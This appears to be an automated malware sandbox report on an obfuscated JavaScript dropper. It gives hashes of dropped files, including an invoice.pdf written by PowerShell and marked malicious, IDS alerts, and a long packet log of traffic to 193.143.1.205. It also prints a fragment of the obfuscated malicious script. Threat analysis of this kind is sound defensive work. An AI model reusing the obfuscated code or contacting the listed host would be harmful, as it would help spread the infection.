SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\a79ef128-7954-410e-bd90-961f265c77a6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/b5mOWL07oXGZzYIGNPZdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:D5bWLxXGZzZGH3mlind9i4ufFXpAXkru
MD5:	9537DA5879F4FA69CCE269FE3697F3CE
SHA1:	7AC5BA55633EF24466DD2D4CC4ADC78F3506983D
SHA-256:	D29B7B2CE5FB5342184FB3BEBDAC1DA14502EF0C198543AC9BEEE0E67B5A5E93
SHA-512:	AE2EE4A875A032921C1B975544E0049E54130B09EB5EB1205E2866474989A6277FB76A6A0C69A821D1866B95CE00B42B45DEA3C41151334528AAF0A4A7A40998
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\ad71fc07-dd46-4960-a9ea-223af6424970.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16898), with CRLF line terminators
Entropy (8bit):	4.920940642183375
TrID:
File name:	315965636547620220.js
File size:	20'446 bytes
MD5:	85af7e12afa71c357b6cab4ada397b44
SHA1:	453462db2f4ad8af0479476dfbe8feed4d7d9874
SHA256:	4b5bb6c8419c47dc41aa0599bb45df3b1d6536493733e30926cfe004b3eaa781
SHA512:	ca7e231c75c3d45e05ee4725a5ba3a85651a7b4c0c121a785b374699f4a4eaf42684aad648134174ecb59016ac6e09b5378ee0123ecdc102a602776e44e00cbd
SSDEEP:	384:hzpewwCsaF1ewwYr/tmnqVQgzFUUXeMM/nzCqqd0wV3GxA0CMImMs0cCa8/AEPRg:KXctO2FUmM/nzCqqd07LJ
TLSH:	309245903803AB5F83C811E012D62CFE50D869DD0AF41C98C95ABDF53F6EEAA69C54F1
File Content Preview:	function vkfrj(){ndiqwifn=[1031,3079,5127,4103,2055,3072];var qwnugjoqt=this[wikokiuc+dzwxw+ssmnbjkwg+dbxsj+hkbsb+sdzyfbnam+fwykrsw+moxscpnb](this[tcswxkftg+kzbxoui+bxzgcedv+ssmnbjkwg+hiiqlqryg+wikokiuc+moxscpnb][rviescw+ssmnbjkwg+hkbsb+dzwxw+moxscpnb+hkb

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T22:03:17.022100+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.9	49706	193.143.1.205	80	TCP
2025-01-10T22:03:19.332211+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.9	49707	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:03:16.194399118 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:16.199455976 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:16.199574947 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:16.203269005 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:16.208153009 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.021971941 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.021991014 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.022099972 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.022103071 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.022121906 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.022136927 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.022150040 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.022162914 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.022178888 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.022180080 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.022186995 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.022190094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.022206068 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.022280931 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.027010918 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.027026892 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.027137995 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.082180023 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.082204103 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.082292080 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.143975019 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.144006014 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.144018888 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.144138098 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.144150019 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.144164085 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.144182920 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.144182920 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.144221067 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.144506931 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.144530058 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.144546032 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.144581079 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.144671917 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.144694090 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.144725084 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.145344973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.145380974 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.145440102 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.145687103 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.145745039 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.145778894 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.145792961 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.145807028 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.145828009 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.145837069 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.145885944 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.146699905 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.146713972 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.146728039 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.146740913 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.146795034 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.146795034 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.209996939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.210021019 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.210150003 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.254774094 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.254792929 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.254816055 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.254827976 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.254857063 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.254905939 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.265671968 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.265686035 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.265820980 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.265913963 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.265928030 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.265940905 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.266011000 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.266036987 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.266050100 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.266062021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.266088963 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.266108990 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.266130924 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.266130924 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.266133070 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.266145945 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.266195059 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.266195059 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.266855955 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.266869068 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.266935110 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.266962051 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.266974926 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.266994953 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.267003059 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.267004967 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.267009974 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.267023087 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.267047882 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.267076969 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.267946959 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.267959118 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.267976046 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.267987967 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.268002987 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.268023968 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.268079996 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.268362045 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.268451929 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.268484116 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.268495083 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.268508911 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.268521070 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.268537045 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.268537998 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.268549919 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.268563986 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.268589973 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.268631935 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.269454002 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.269467115 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.269480944 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.269495010 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.269514084 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.269520998 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.269535065 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.269555092 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.269566059 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.269567966 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.269613981 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.270531893 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.270615101 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.297246933 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.297275066 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.297286987 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.297328949 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.297341108 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.297401905 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.342133999 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.342175007 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.342252016 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.376507044 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.376550913 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.376564026 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.376576900 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.376615047 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.376636028 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.376648903 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.376691103 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.376729012 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.387975931 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.387995005 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388009071 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388022900 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388041973 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388062000 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388097048 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.388145924 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.388243914 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388257980 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388269901 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388324976 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.388402939 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388422012 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388436079 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388447046 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388453960 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388492107 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.388492107 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.388735056 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388803005 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388816118 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388828039 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388840914 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388854980 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.388880968 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.388880968 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.388921022 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.389158964 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389169931 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389183998 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389219046 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.389311075 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389323950 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389355898 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.389461040 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389473915 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389484882 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389497042 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389503002 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389516115 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389537096 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389552116 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.389552116 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389552116 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.389564037 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389579058 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.389626980 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.389626980 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.390151978 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390201092 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.390240908 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390247107 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390254021 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390263081 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390285015 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390285015 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.390296936 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390311956 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390324116 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.390333891 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390346050 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390357971 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390371084 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390386105 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.390393972 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.390393972 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.390431881 CET	49706	80	192.168.2.9	193.143.1.205
Jan 10, 2025 22:03:17.391134024 CET	80	49706	193.143.1.205	192.168.2.9
Jan 10, 2025 22:03:17.391304016 CET	80	49706	193.143.1.205	192.168.2.9
